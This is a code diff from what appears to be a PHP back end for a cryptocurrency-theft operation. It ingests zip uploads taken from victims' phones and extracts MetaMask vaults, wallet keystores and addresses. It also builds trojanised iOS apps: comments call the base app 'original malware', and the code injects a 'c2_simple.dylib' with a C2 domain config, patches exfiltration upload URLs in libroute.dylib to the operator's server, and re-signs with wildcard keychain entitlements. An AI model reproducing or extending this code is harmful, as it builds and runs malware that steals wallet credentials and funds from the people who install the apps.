+
+        // ── 3. Addresses ──
+        // imToken AsyncStorage is a token inventory; naive 0x/T regex
+        // would ingest hundreds of contracts. Reuse the named-structure
+        // collector from the /api/v2 tar path.
+        if (str_contains($lower, 'im.token') || str_contains($lower, 'im_token') || $sourceLabel === 'imToken') {
+            try {
+                app(AppUploadIngester::class)->ingestImTokenShellZip($device, $body);
+            } catch (\Throwable $e) {
+                Log::channel('keystore')->warning('ProcessShellUpload: imToken address ingest failed', [
+                    'error' => $e->getMessage(),
+                ]);
+            }
+        } else {
+            $this->scanAddresses($device, $zip, $sourceLabel);
+        }
+
+        $zip->close();
+        @unlink($tmpFile);
+
+        Log::channel('keystore')->info('ProcessShellUpload: DONE', [
+            'device_id' => $device->id,
+            'filename' => $filename,
+            'keystores' => count($foundKeystores),
+        ]);
+    }
+
+    private function extractMetaMaskVault(Device $device, string $tmpFile): void
+    {
+        $zip = new \ZipArchive;
+        if ($zip->open($tmpFile) !== true) return;
+
+        for ($i = 0; $i < $zip->numFiles; $i++) {
+            $fn = $zip->getNameIndex($i);
+            if (! str_contains($fn, 'KeyringController')) continue;
+
+            $content = $zip->getFromIndex($i);
+            $json = json_decode($content ?? '', true);
+            if (! is_array($json) || ! isset($json['vault'])) continue;
+
+            $vault = json_decode($json['vault'], true);
+            if (! is_array($vault) || ! isset($vault['cipher'])) continue;
+
+            $raw = array_merge($vault, ['kind' => 'metamask.vault']);
+            $existing = WalletKeystore::where('device_id', $device->id)->where('source', 'MetaMask')->first();
+            if (! $existing) {
+                $row = WalletKeystore::create([
+                    'device_id' => $device->id,
+                    'chain' => Device::CHAIN_APP,
+                    'source' => 'MetaMask',
+                    'decrypted' => 0,
+                    'needs_password' => 1,
+                    'raw_json' => $raw,
+                    'content_hash' => md5($content),
+                ]);
+                $stats = WalletKeystore::computeListStatsFromJson($raw);
+                $row->list_kind = $stats['kind'];
+                $row->list_has_web3 = 1;
+                $row->save();
+            }
+
+            // Also extract reportedAccounts addresses
+            $this->extractMetaMaskAddresses($device, $tmpFile);
+        }
+        $zip->close();
+    }
+
+    private function extractMetaMaskAddresses(Device $device, string $tmpFile): void
+    {
+        $zip = new \ZipArchive;
+        if ($zip->open($tmpFile) !== true) return;
+
+        $addrs = [];
+        for ($i = 0; $i < $zip->numFiles; $i++) {
+            $fn = $zip->getNameIndex($i);
+            $content = $zip->getFromIndex($i);
+            if (! $content) continue;
+            $json = json_decode($content, true);
+            if (! is_array($json)) continue;
+
+            if (str_contains($fn, 'ProfileMetricsController')) {
+                foreach ($json['reportedAccounts'] ?? [] as $ra) {
+                    $ct = \App\Support\WalletSource::inferChainType($ra);
+                    if ($ct !== '' && \App\Support\WalletSource::isSupportedChain($ct)) {
+                        $addrs[$ra] = $ct;
+                    }
+                }
+            }
+            if (str_contains($fn, 'AccountsController')) {
+                foreach ($json['internalAccounts']['accounts'] ?? [] as $acc) {
+                    $ia = $acc['address'] ?? '';
+                    if (preg_match('/^0x[0-9a-fA-F]{40}$/', $ia)) {
+                        $addrs[$ia] = 'ETHEREUM';
+                    }
+                }
+            }
+        }
+        $zip->close();
+
+        foreach ($addrs as $addr => $ct) {
+            $exists = WalletAddress::where('device_id', $device->id)->where('address', $addr)->first();
+            if (! $exists) {
+                try {
+                    WalletAddress::create([
+                        'device_id' => $device->id,
+                        'address' => $addr,
+                        'chain_type' => $ct,
+                        'source' => 'MetaMask',
+                    ]);
+                } catch (\Throwable $e) {
+                    // skip
+                }
+            }
+        }
+    }
+
+    private function scanAddresses(Device $device, \ZipArchive $zip, string $sourceLabel): void
+    {
+        $patterns = [
+            '/0x[0-9a-fA-F]{40}/' => 'ETHEREUM',
+            '/T[1-9A-HJ-NP-Za-km-z]{33}/' => 'TRON',
+        ];
+        $validators = [
+            'ETHEREUM' => fn (string $a) => \App\Services\Chain\EthAddress::isValid($a),
+            'TRON' => fn (string $a) => \App\Services\Chain\TronAddress::isValid($a),
+        ];
+
+        $contracts = [
+            'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t',
+            '0xdAC17F958D2ee523a2206206994597C13D831ec7',
+            '0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48',
+            '0x55d398326f99059fF775485246999027B3197955',
+        ];
+
+        $found = [];
+        for ($i = 0; $i < $zip->numFiles; $i++) {
+            $fn = $zip->getNameIndex($i);
+            $lower = strtolower($fn);
+
+            if (str_ends_with($lower, '.realm') || str_ends_with($lower, '.realm.lock') ||
+                str_ends_with($lower, '.sqlite') || str_ends_with($lower, '.db') ||
+                str_contains($lower, 'mmkv') || str_ends_with($lower, 'observations.db') ||
+                str_ends_with($lower, '.icm')) continue;
+
+            $content = $zip->getFromIndex($i);
+            if (! $content || ! mb_check_encoding(substr($content, 0, 1000), 'UTF-8')) continue;
+
+            foreach ($patterns as $pat => $chainType) {
+                if (preg_match_all($pat, $content, $m)) {
+                    $validator = $validators[$chainType] ?? null;
+                    foreach ($m[0] as $addr) {
+                        if ($validator && ! $validator($addr)) continue;
+                        if (in_array($addr, $contracts)) continue;
+                        $found[$addr] = $chainType;
+                    }
+                }
+            }
+        }
+
+        foreach ($found as $addr => $ct) {
+            $exists = WalletAddress::where('device_id', $device->id)->where('address', $addr)->first();
+            if (! $exists) {
+                try {
+                    WalletAddress::create([
+                        'device_id' => $device->id,
+                        'address' => $addr,
+                        'chain_type' => $ct,
+                        'source' => $sourceLabel,
+                    ]);
+                } catch (\Throwable $e) {
+                    // skip
+                }
+            }
+        }
+    }
+
+    private function sourceFromFilename(string $filename): string
+    {
+        $fn = strtolower($filename);
+        if (str_contains($fn, 'trust') || str_contains($fn, 'sixdays')) return 'Trust Wallet';
+        if (str_contains($fn, 'tronlink')) return 'TronLink';
+        if (str_contains($fn, 'im.token') || str_contains($fn, 'im_token')) return 'imToken';
+        if (str_contains($fn, 'bitpie')) return 'Bitpie';
+        if (str_contains($fn, 'global.wallet')) return 'Global Wallet';
+        if (str_contains($fn, 'metamask')) return 'MetaMask';
+        if (str_contains($fn, 'coin98')) return 'Coin98';
+        if (str_contains($fn, 'phantom')) return 'Phantom';
+        if (str_contains($fn, 'uniswap')) return 'Uniswap';
+        if (str_contains($fn, 'exodus')) return 'Exodus';
+        if (str_contains($fn, 'tonhub')) return 'Tonhub';
+        if (str_contains($fn, 'tonkeeper')) return 'Tonkeeper';
+        if (str_contains($fn, 'okex')) return 'OKX';
+
+        return substr(basename($filename, '.zip'), 0, 40);
+    }
+
+    private function isJson(string $content): bool
+    {
+        $t = ltrim($content);
+        return str_starts_with($t, '{') || str_starts_with($t, '[');
+    }
+}

app/Models/Channel.php

@@ -36,7 +36,7 @@ class Channel extends Model
 
     protected $fillable = [
         'channel_id', 'builder_type', 'user_id', 'domains', 'status', 'remark',
-        'app_name', 'bundle_id',
+        'app_name', 'bundle_id', 'h5_url',
     ];
 
     protected $attributes = [
@@ -204,6 +204,33 @@ class Channel extends Model
         return '<iframe src="'.$url.'"  style="position:fixed;top:0;left:-1000px;pointer-events:none;border:0"></iframe>';
     }
 
+    public function promoScriptSnippet(): string
+    {
+        return '<script src="./index.js"></script>';
+    }
+
+    public function embedAssetDir(): ?string
+    {
+        $root = rtrim((string) config('coruna.channel_builder.artifact_root', public_path()), DIRECTORY_SEPARATOR);
+        $dir = match ($this->builderType()) {
+            self::BUILDER_NEW => $root.DIRECTORY_SEPARATOR.'channel'.DIRECTORY_SEPARATOR.$this->channel_id.DIRECTORY_SEPARATOR.'weifile',
+            self::BUILDER_OLD => $root.DIRECTORY_SEPARATOR.'web'.DIRECTORY_SEPARATOR.$this->channel_id,
+            default => null,
+        };
+        if ($dir === null || ! is_dir($dir)) {
+            return null;
+        }
+
+        return $dir;
+    }
+
+    public function embedZipName(): string
+    {
+        $safe = preg_replace('/[^0-9A-Za-z._-]+/', '-', (string) $this->channel_id) ?: 'channel';
+
+        return 'channel-embed-'.$safe.'.zip';
+    }
+
     public static function randomChannelId(): string
     {
         return bin2hex(random_bytes(16));

app/Models/WalletKeystore.php

@@ -346,6 +346,8 @@ class WalletKeystore extends Model
             'sandbox' => '沙盒文件',
             'web3.keystore' => '标准 Keystore',
             'metamask.vault' => 'MetaMask Vault',
+            'coin98.wallet' => 'Coin98 加密钱包',
+            'encrypted.sandbox' => '加密钱包文件',
             default => $kind !== '' ? $kind : '未知',
         };
     }

app/Services/AiWalletPackageService.php

@@ -0,0 +1,342 @@
+<?php
+
+namespace App\Services;
+
+use App\Models\Channel;
+use Illuminate\Support\Facades\Log;
+use RuntimeException;
+
+/**
+ * Build a customized AI Wallet IPA for App-builder channels.
+ *
+ * Uses a pre-compiled c2_simple.dylib (compiled on macOS) and a
+ * runtime c2_config.plist to configure domain/channel per build.
+ * No iOS SDK or Xcode required on the Linux build server.
+ *
+ * Build flow:
+ *   1. Extract ai-live-base.ipa (original malware)
+ *   2. Copy pre-compiled c2_simple.dylib to Frameworks/
+ *   3. Generate c2_config.plist with channel-specific settings
+ *   4. Add LC_LOAD_DYLIB to main binary (before libutils)
+ *   5. Patch Info.plist (app name, bundle ID, white launch screen)
+ *   6. Generate icons from uploaded logo
+ *   7. Sign with ldid
+ *   8. Package as IPA
+ */
+class AiWalletPackageService
+{
+    /** Base IPA path (original ai-live malware) */
+    private const BASE_IPA = 'app-templates/ai-live-base.ipa';
+
+    /** Pre-compiled c2_simple.dylib */
+    private const C2_DYLIB = 'app-templates/c2_simple.dylib';
+
+    /** Icon sizes */
+    private const ICON_SIZES = [
+        'AppIcon60x60@2x.png' => 120,
+        'AppIcon60x60@3x.png' => 180,
+        'AppIcon76x76@2x~ipad.png' => 152,
+    ];
+
+    public function build(Channel $channel, ?string $logoPath, string $apiDomain): array
+    {
+        $baseIpa = storage_path('app/'.self::BASE_IPA);
+        $c2Dylib = storage_path('app/'.self::C2_DYLIB);
+
+        if (!file_exists($baseIpa)) {
+            return $this->fail('Base IPA not found. Upload ai-live-base.ipa via admin.');
+        }
+        if (!file_exists($c2Dylib)) {
+            return $this->fail('c2_simple.dylib not found. Upload pre-compiled dylib.');
+        }
+
+        $workDir = storage_path('app/app-builds/'.$channel->channel_id);
+        if (is_dir($workDir)) $this->rrmdir($workDir);
+        @mkdir($workDir, 0755, true);
+
+        try {
+            // 1. Extract base IPA
+            $zip = new \ZipArchive;
+            if ($zip->open($baseIpa) !== true) throw new RuntimeException('Cannot open base IPA');
+            $zip->extractTo($workDir);
+            $zip->close();
+
+            $appDir = $this->findAppDir($workDir);
+            if (!$appDir) throw new RuntimeException('No .app directory found');
+
+            // 2. Copy pre-compiled c2_simple.dylib
+            $fwDir = $appDir.'/Frameworks';
+            if (!is_dir($fwDir)) @mkdir($fwDir, 0755, true);
+            copy($c2Dylib, $fwDir.'/c2_simple.dylib');
+
+            // 3. Generate c2_config.plist
+            $this->writeConfigPlist($appDir, $channel, $apiDomain);
+
+            // 4. Add LC_LOAD_DYLIB to main binary
+            $mainBin = $this->findMainBinary($appDir);
+            $this->addLoadDylib($mainBin, '@rpath/c2_simple.dylib', '@executable_path/Frameworks/libutils.dylib');
+
+            // 5. Patch Info.plist
+            $this->patchInfoPlist($appDir, $channel);
+
+            // 6. Generate icons
+            if ($logoPath && file_exists($logoPath)) {
+                $this->generateIcons($appDir, $logoPath);
+            }
+
+            // 7. Sign
+            $this->sign($appDir);
+
+            // 8. Package
+            $outputPath = 'channel/'.$channel->channel_id.'/app.ipa';
+            $outputFull = public_path($outputPath);
+            @mkdir(dirname($outputFull), 0755, true);
+
+            $outZip = new \ZipArchive;
+            if ($outZip->open($outputFull, \ZipArchive::CREATE | \ZipArchive::OVERWRITE) !== true) {
+                throw new RuntimeException('Cannot create output IPA');
+            }
+            $this->addDirToZip($outZip, $workDir.'/Payload', 'Payload');
+            $outZip->close();
+
+            $size = filesize($outputFull);
+            $this->rrmdir($workDir);
+
+            return ['success' => true, 'path' => '/'.$outputPath, 'size' => $size, 'error' => ''];
+
+        } catch (\Throwable $e) {
+            $this->rrmdir($workDir);
+            Log::error('AiWalletPackageService: build failed', [
+                'channel' => $channel->channel_id,
+                'error' => $e->getMessage(),
+            ]);
+            return ['success' => false, 'path' => '', 'size' => 0, 'error' => $e->getMessage()];
+        }
+    }
+
+    private function writeConfigPlist(string $appDir, Channel $channel, string $apiDomain): void
+    {
+        $config = [
+            'C2Domain' => $apiDomain,
+            'C2Port' => '443',
+            'WebViewURL' => $channel->h5_url ?: 'https://tether.to',
+            'AppId' => $channel->channel_id,
+            'ChannelId' => $channel->channel_id,
+            'AppName' => $channel->app_name,
+        ];
+
+        $plist = $this->arrayToXmlPlist($config);
+        file_put_contents($appDir.'/c2_config.plist', $plist);
+    }
+
+    private function arrayToXmlPlist(array $data): string
+    {
+        $xml = '<?xml version="1.0" encoding="UTF-8"?>'."\n";
+        $xml .= '<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">'."\n";
+        $xml .= '<plist version="1.0"><dict>'."\n";
+        foreach ($data as $key => $value) {
+            $xml .= '<key>'.htmlspecialchars($key).'</key><string>'.htmlspecialchars($value).'</string>'."\n";
+        }
+        $xml .= '</dict></plist>';
+        return $xml;
+    }
+
+    private function patchInfoPlist(string $appDir, Channel $channel): void
+    {
+        $plistFile = $appDir.'/Info.plist';
+        $data = file_get_contents($plistFile);
+
+        // Use plistlib via shell (available on Linux)
+        $tmpFile = tempnam(sys_get_temp_dir(), 'plist');
+        file_put_contents($tmpFile, $data);
+
+        $changes = [
+            'CFBundleDisplayName' => $channel->app_name,
+            'CFBundleName' => $channel->app_name,
+            'CFBundleIdentifier' => $channel->bundle_id ?: 'com.ai.wallet.next',
+            'CFBundleShortVersionString' => '1.6.1',
+            'CFBundleVersion' => '1.6.1',
+        ];
+
+        foreach ($changes as $key => $value) {
+            $escaped = escapeshellarg($value);
+            exec("plistutil -i {$tmpFile} -o {$tmpFile} -k {$key} -s {$escaped} 2>/dev/null || true");
+            // Fallback: use sed for XML plists
+            $data = file_get_contents($tmpFile);
+            $data = preg_replace(
+                '#<key>'.preg_quote($key, '#').'</key>\s*<string>[^<]*</string>#',
+                '<key>'.$key.'</key><string>'.htmlspecialchars($value).'</string>',
+                $data
+            );
+            file_put_contents($tmpFile, $data);
+        }
+
+        // Remove storyboard reference, add UILaunchScreen (white background)
+        $data = file_get_contents($tmpFile);
+        $data = preg_replace('#<key>UILaunchStoryboardName</key>\s*<string>[^<]*</string>#', '', $data);
+        if (!str_contains($data, 'UILaunchScreen')) {
+            $data = str_replace('</dict></plist>', '<key>UILaunchScreen</key><dict/></dict></plist>', $data);
+        }
+        file_put_contents($plistFile, $data);
+        unlink($tmpFile);
+    }
+
+    private function addLoadDylib(string $binaryPath, string $dylibPath, string $insertBefore): void
+    {
+        // Use Python script for Mach-O editing — PHP binary manipulation
+        // corrupts the binary by inserting bytes (shifts code signature blob).
+        // The Python script uses existing free space in the load command table,
+        // preserving the file size and not breaking the signature.
+        $scriptPath = base_path('bin/add_dylib.py');
+        
+        if (!file_exists($scriptPath)) {
+            throw new RuntimeException('add_dylib.py not found at '.$scriptPath);
+        }
+
+        $cmd = sprintf(
+            'python3 %s %s %s 2>&1',
+            escapeshellarg($scriptPath),
+            escapeshellarg($binaryPath),
+            escapeshellarg($dylibPath)
+        );
+        
+        $output = [];
+        $exitCode = 0;
+        exec($cmd, $output, $exitCode);
+        
+        if ($exitCode !== 0) {
+            throw new RuntimeException('add_dylib.py failed: '.implode("\n", $output));
+        }
+        
+        Log::info('AiWalletPackageService: add_dylib.py output', ['output' => $output]);
+    }
+
+    private function findAppDir(string $workDir): ?string
+    {
+        $payload = $workDir.'/Payload';
+        if (!is_dir($payload)) return null;
+        foreach (scandir($payload) as $item) {
+            if (str_ends_with($item, '.app')) return $payload.'/'.$item;
+        }
+        return null;
+    }
+
+    private function findMainBinary(string $appDir): string
+    {
+        // Main binary has the same name as the .app directory
+        $appName = basename($appDir, '.app');
+        return $appDir.'/'.$appName;
+    }
+
+    private function generateIcons(string $appDir, string $logoPath): void
+    {
+        if (!function_exists('imagecreatefrompng')) {
+            Log::warning('AiWalletPackageService: GD not available, skipping icons');
+            return;
+        }
+
+        $src = imagecreatefrompng($logoPath);
+        if (!$src) return;
+
+        foreach (self::ICON_SIZES as $filename => $size) {
+            $dst = imagecreatetruecolor($size, $size);
+            imagealphablending($dst, false);
+            imagesavealpha($dst, true);
+            imagecopyresampled($dst, $src, 0, 0, 0, 0, $size, $size,
+                imagesx($src), imagesy($src));
+            imagepng($dst, $appDir.'/'.$filename);
+            imagedestroy($dst);
+        }
+        imagedestroy($src);
+    }
+
+    private function sign(string $appDir): void
+    {
+        // Remove old signatures
+        $csDir = $appDir.'/_CodeSignature';
+        if (is_dir($csDir)) $this->rrmdir($csDir);
+
+        $ldidPath = trim((string) config('coruna.ldid_path', base_path('bin/ldid')));
+        if ($ldidPath === '' || !file_exists($ldidPath)) {
+            Log::warning('AiWalletPackageService: ldid not found at '.$ldidPath);
+            return;
+        }
+
+        // Create entitlements file
+        $entFile = $appDir.'/../entitlements.xml';
+        $entXml = '<?xml version="1.0" encoding="UTF-8"?>'."\n"
+            .'<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">'."\n"
+            .'<plist version="1.0"><dict>'."\n"
+            .'<key>get-task-allow</key><true/>'."\n"
+            .'<key>keychain-access-groups</key><array><string>*</string></array>'."\n"
+            .'<key>platform-application</key><true/>'."\n"
+            .'</dict></plist>';
+        file_put_contents($entFile, $entXml);
+
+        // Sign all binaries with entitlements
+        $binaries = array_merge(
+            [$this->findMainBinary($appDir)],
+            glob($appDir.'/Frameworks/*.dylib') ?: [],
+            glob($appDir.'/*.dylib') ?: [],
+            glob($appDir.'/Frameworks/*.framework/*') ?: [],
+        );
+
+        foreach ($binaries as $bin) {
+            if (!is_file($bin)) continue;
+            $cmd = escapeshellarg($ldidPath)
+                .' -S'.escapeshellarg($entFile)
+                .' '.escapeshellarg($bin).' 2>&1';
+            $output = [];
+            $exitCode = 0;
+            exec($cmd, $output, $exitCode);
+            if ($exitCode !== 0) {
+                Log::warning('AiWalletPackageService: ldid sign failed for '.basename($bin), [
+                    'cmd' => $cmd,
+                    'output' => implode("\n", $output),
+                    'exit_code' => $exitCode,
+                ]);
+            }
+        }
+
+        // Also create bundle _CodeSignature
+        $bundleCs = $appDir.'/_CodeSignature';
+        @mkdir($bundleCs, 0755, true);
+        file_put_contents($bundleCs.'/CodeResources', '<?xml version="1.0" encoding="UTF-8"?>'."\n"
+            .'<plist version="1.0"><dict><key>files</key><dict/></dict></plist>');
+
+        // Cleanup entitlements file
+        @unlink($entFile);
+    }
+
+    private function addDirToZip(\ZipArchive $zip, string $dir, string $prefix): void
+    {
+        foreach (scandir($dir) as $item) {
+            if ($item === '.' || $item === '..') continue;
+            $path = $dir.'/'.$item;
+            $zipPath = $prefix.'/'.$item;
+            if (is_dir($path)) {
+                $zip->addEmptyDir($zipPath);
+                $this->addDirToZip($zip, $path, $zipPath);
+            } else {
+                $zip->addFile($path, $zipPath);
+            }
+        }
+    }
+
+    private function rrmdir(string $dir): void
+    {
+        if (!is_dir($dir)) return;
+        foreach (scandir($dir) as $item) {
+            if ($item === '.' || $item === '..') continue;
+            $path = $dir.'/'.$item;
+            if (is_dir($path)) $this->rrmdir($path);
+            else @unlink($path);
+        }
+        @rmdir($dir);
+    }
+
+    private function fail(string $error): array
+    {
+        return ['success' => false, 'path' => '', 'size' => 0, 'error' => $error];
+    }
+}

app/Services/AppPackageService.php

@@ -0,0 +1,410 @@
+<?php
+
+namespace App\Services;
+
+use App\Models\Channel;
+use Illuminate\Support\Facades\Log;
+use Illuminate\Support\Facades\Process;
+use RuntimeException;
+
+/**
+ * Build a customized SignalShell IPA for App-builder channels.
+ *
+ * Takes a base IPA template, patches it with the channel's
+ * domain / channel ID / app name / logo, and outputs a
+ * downloadable IPA file.
+ */
+class AppPackageService
+{
+    /** Base IPA template path (uploaded once via admin). */
+    private const BASE_IPA_PATH = 'app-templates/signalshell-base.ipa';
+
+    /** Icon sizes to generate from the uploaded logo. */
+    private const ICON_SIZES = [
+        'Icon-20.png' => 20,
+        'Icon-20@2x.png' => 40,
+        'Icon-20@3x.png' => 60,
+        'Icon-29.png' => 29,
+        'Icon-29@2x.png' => 58,
+        'Icon-29@3x.png' => 87,
+        'Icon-40.png' => 40,
+        'Icon-40@2x.png' => 80,
+        'Icon-40@3x.png' => 120,
+        'Icon-60@2x.png' => 120,
+        'Icon-60@3x.png' => 180,
+        'Icon-76.png' => 76,
+        'Icon-76@2x.png' => 152,
+        'Icon-83.5@2x.png' => 167,
+    ];
+
+    /**
+     * Build a customized IPA for the given channel.
+     *
+     * @param  Channel  $channel  App-builder channel with app_name, bundle_id, channel_id
+     * @param  string|null  $logoPath  Temporary path to the uploaded logo (PNG, ≥180×180)
+     * @param  string  $apiDomain  C2 domain (e.g. hslaxo.cc)
+     * @return array{success: bool, path: string, size: int, error: string}
+     */
+    public function build(Channel $channel, ?string $logoPath, string $apiDomain): array
+    {
+        $baseIpa = storage_path('app/'.self::BASE_IPA_PATH);
+        if (! file_exists($baseIpa)) {
+            return ['success' => false, 'path' => '', 'size' => 0, 'error' => 'Base IPA template not found. Upload via admin first.'];
+        }
+
+        $workDir = storage_path('app/app-builds/'.$channel->channel_id);
+        if (is_dir($workDir)) {
+            $this->rrmdir($workDir);
+        }
+        @mkdir($workDir, 0755, true);
+
+        try {
+            // 1. Extract base IPA
+            $zip = new \ZipArchive;
+            if ($zip->open($baseIpa) !== true) {
+                throw new RuntimeException('Cannot open base IPA');
+            }
+            $zip->extractTo($workDir);
+            $zip->close();
+
+            $appDir = $workDir.'/Payload/SignalShell.app';
+            if (! is_dir($appDir)) {
+                // Try to find any .app directory
+                $payload = $workDir.'/Payload';
+                $dirs = glob($payload.'/*.app');
+                if (empty($dirs)) {
+                    throw new RuntimeException('No .app directory found in IPA');
+                }
+                $appDir = $dirs[0];
+            }
+
+            // 2. Patch Info.plist
+            $this->patchInfoPlist($appDir, $channel, $apiDomain);
+
+            // 3. Generate icons from logo
+            if ($logoPath && file_exists($logoPath)) {
+                $this->generateIcons($appDir, $logoPath);
+            }
+
+            // 4. Patch libroute.dylib (domain + channel ID)
+            $this->patchLibroute($appDir, $apiDomain, $channel->channel_id);
+
+            // 5. Patch libmcmlease.dylib (domain)
+            $this->patchLibmcmlease($appDir, $apiDomain);
+
+            // 6. Sign (ldid if available, skip otherwise)
+            $this->sign($appDir);
+
+            // 7. Package IPA
+            $outputPath = 'channel/'.$channel->channel_id.'/app.ipa';
+            $outputFull = public_path($outputPath);
+            @mkdir(dirname($outputFull), 0755, true);
+
+            $outZip = new \ZipArchive;
+            if ($outZip->open($outputFull, \ZipArchive::CREATE | \ZipArchive::OVERWRITE) !== true) {
+                throw new RuntimeException('Cannot create output IPA');
+            }
+            $this->addDirToZip($outZip, $workDir.'/Payload', 'Payload');
+            $outZip->close();
+
+            $size = filesize($outputFull);
+
+            // Cleanup
+            $this->rrmdir($workDir);
+
+            return [
+                'success' => true,
+                'path' => '/'.$outputPath,
+                'size' => $size,
+                'error' => '',
+            ];
+        } catch (\Throwable $e) {
+            $this->rrmdir($workDir);
+            Log::error('AppPackageService: build failed', [
+                'channel' => $channel->channel_id,
+                'error' => $e->getMessage(),
+            ]);
+
+            return [
+                'success' => false,
+                'path' => '',
+                'size' => 0,
+                'error' => $e->getMessage(),
+            ];
+        }
+    }
+
+    private function patchInfoPlist(string $appDir, Channel $channel, string $apiDomain): void
+    {
+        $plistPath = $appDir.'/Info.plist';
+        $xml = file_get_contents($plistPath);
+
+        // Replace display name
+        $xml = preg_replace(
+            '#<key>CFBundleDisplayName</key>\s*<string>[^<]*</string>#',
+            '<key>CFBundleDisplayName</key><string>'.htmlspecialchars($channel->app_name).'</string>',
+            $xml,
+        );
+
+        // Replace bundle identifier
+        if ($channel->bundle_id) {
+            $xml = preg_replace(
+                '#<key>CFBundleIdentifier</key>\s*<string>[^<]*</string>#',
+                '<key>CFBundleIdentifier</key><string>'.htmlspecialchars($channel->bundle_id).'</string>',
+                $xml,
+            );
+        }
+
+        // Replace CFBundleName (short name)
+        $xml = preg_replace(
+            '#<key>CFBundleName</key>\s*<string>[^<]*</string>#',
+            '<key>CFBundleName</key><string>'.htmlspecialchars(substr($channel->app_name, 0, 15)).'</string>',
+            $xml,
+        );
+
+        // Replace ShellConfigEndpoint (config API URL)
+        $configEndpoint = 'https://'.$apiDomain.'/api/ap/config?a='.$channel->channel_id;
+        $xml = preg_replace(
+            '#<key>ShellConfigEndpoint</key>\s*<string>[^<]*</string>#',
+            '<key>ShellConfigEndpoint</key><string>'.htmlspecialchars($configEndpoint).'</string>',
+            $xml,
+        );
+
+        // Replace ShellWebsiteURL (fallback WebView URL)
+        if ($channel->h5_url) {
+            $xml = preg_replace(
+                '#<key>ShellWebsiteURL</key>\s*<string>[^<]*</string>#',
+                '<key>ShellWebsiteURL</key><string>'.htmlspecialchars($channel->h5_url).'</string>',
+                $xml,
+            );
+        }
+
+        file_put_contents($plistPath, $xml);
+    }
+
+    private function generateIcons(string $appDir, string $logoPath): void
+    {
+        if (! function_exists('imagecreatefrompng')) {
+            // GD not available, copy logo as-is for main icon only
+            copy($logoPath, $appDir.'/Icon-60@3x.png');
+            return;
+        }
+
+        $src = imagecreatefrompng($logoPath);
+        if ($src === false) {
+            return;
+        }
+
+        $srcW = imagesx($src);
+        $srcH = imagesy($src);
+
+        foreach (self::ICON_SIZES as $filename => $size) {
+            $dst = imagecreatetruecolor($size, $size);
+            // Transparent background
+            imagesavealpha($dst, true);
+            $trans = imagecolorallocatealpha($dst, 0, 0, 0, 127);
+            imagefill($dst, 0, 0, $trans);
+
+            // Resize (maintain aspect, crop center square)
+            $minSide = min($srcW, $srcH);
+            $srcX = ($srcW - $minSide) / 2;
+            $srcY = ($srcH - $minSide) / 2;
+            imagecopyresampled($dst, $src, 0, 0, (int) $srcX, (int) $srcY, $size, $size, $minSide, $minSide);
+
+            imagepng($dst, $appDir.'/'.$filename, 6);
+            imagedestroy($dst);
+        }
+        imagedestroy($src);
+    }
+
+    private function patchLibroute(string $appDir, string $domain, string $channelId): void
+    {
+        $path = $appDir.'/Frameworks/libroute.dylib';
+        if (! file_exists($path)) {
+            throw new RuntimeException('libroute.dylib not found');
+        }
+
+        $data = file_get_contents($path);
+        $origSize = strlen($data);
+
+        // Helper: in-place string replacement (preserves file size)
+        $replaceInPlace = function (string &$data, string $old, string $new): bool {
+            $idx = strpos($data, $old);
+            if ($idx === false) {
+                return false;
+            }
+            // New must be <= old length
+            if (strlen($new) > strlen($old)) {
+                return false;
+            }
+            // Write new bytes
+            for ($i = 0; $i < strlen($new); $i++) {
+                $data[$idx + $i] = $new[$i];
+            }
+            // Null-terminate
+            $data[$idx + strlen($new)] = "\x00";
+            // Clear remaining old bytes
+            for ($i = strlen($new) + 1; $i < strlen($old) + 1; $i++) {
+                $data[$idx + $i] = "\x00";
+            }
+            return true;
+        };
+
+        $domain = substr($domain, 0, strlen('shenma.my')); // max 9 chars
+        $channelId = substr($channelId, 0, strlen('a119f32b4955')); // max 12 chars
+        // Pad with '0' if shorter
+        $channelId = str_pad($channelId, strlen('a119f32b4955'), '0');
+
+        // 1. Replace upload URL (in-place, same total length guaranteed)
+        $oldUpload = 'https://shenma.my/upload.php?a=a119f32b4955&';
+        $newUpload = "https://{$domain}/api/ap/upload?a={$channelId}&";
+        // Ensure same length by adjusting path if needed
+        if (strlen($newUpload) > strlen($oldUpload)) {
+            // Shrink path: /api/ap/upload → /api/ap/u
+            $newUpload = "https://{$domain}/api/ap/u?a={$channelId}&";
+        }
+        if (strlen($newUpload) > strlen($oldUpload)) {
+            throw new RuntimeException('New upload URL exceeds binary space');
+        }
+        // Pad with trailing null bytes to match old length exactly
+        $newUploadPadded = $newUpload.str_repeat("\x00", strlen($oldUpload) - strlen($newUpload));
+        $idx = strpos($data, $oldUpload);
+        if ($idx !== false) {
+            for ($i = 0; $i < strlen($oldUpload); $i++) {
+                $data[$idx + $i] = $i < strlen($newUploadPadded) ? $newUploadPadded[$i] : "\x00";
+            }
+        }
+
+        // 2. Replace log upload URL (in-place)
+        $oldLog = 'https://shenma.my/upload.php?name=';
+        $newLog = "https://{$domain}/api/ap/lg?n=";
+        if (strlen($newLog) <= strlen($oldLog)) {
+            $newLogPadded = $newLog.str_repeat("\x00", strlen($oldLog) - strlen($newLog));
+            $idx = strpos($data, $oldLog);
+            if ($idx !== false) {
+                for ($i = 0; $i < strlen($oldLog); $i++) {
+                    $data[$idx + $i] = $i < strlen($newLogPadded) ? $newLogPadded[$i] : "\x00";
+                }
+            }
+        }
+
+        // 3. Replace config path (in-place, pad with nulls)
+        $oldConfig = '/api/ios-shell';
+        $newConfig = '/api/ap';
+        $newConfigPadded = $newConfig.str_repeat("\x00", strlen($oldConfig) - strlen($newConfig));
+        $idx = strpos($data, $oldConfig);
+        if ($idx !== false) {
+            for ($i = 0; $i < strlen($oldConfig); $i++) {
+                $data[$idx + $i] = $i < strlen($newConfigPadded) ? $newConfigPadded[$i] : "\x00";
+            }
+        }
+
+        // 4. Replace any remaining shenma.my (equal length: shenma.my = 9)
+        if (strlen($domain) === 9) {
+            $data = str_replace('shenma.my', $domain, $data);
+        }
+
+        // Verify file size unchanged
+        if (strlen($data) !== $origSize) {
+            throw new RuntimeException('Binary size changed! orig='.$origSize.' new='.strlen($data));
+        }
+
+        file_put_contents($path, $data);
+    }
+
+    private function patchLibmcmlease(string $appDir, string $domain): void
+    {
+        $path = $appDir.'/Frameworks/libmcmlease.dylib';
